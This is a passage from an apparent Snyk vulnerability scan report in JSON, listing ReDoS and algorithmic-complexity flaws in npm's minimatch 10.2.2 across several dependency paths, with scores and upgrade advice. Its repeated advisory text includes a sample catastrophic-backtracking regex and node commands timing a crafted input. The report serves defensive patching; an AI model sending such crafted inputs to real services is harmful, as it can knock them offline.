], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade 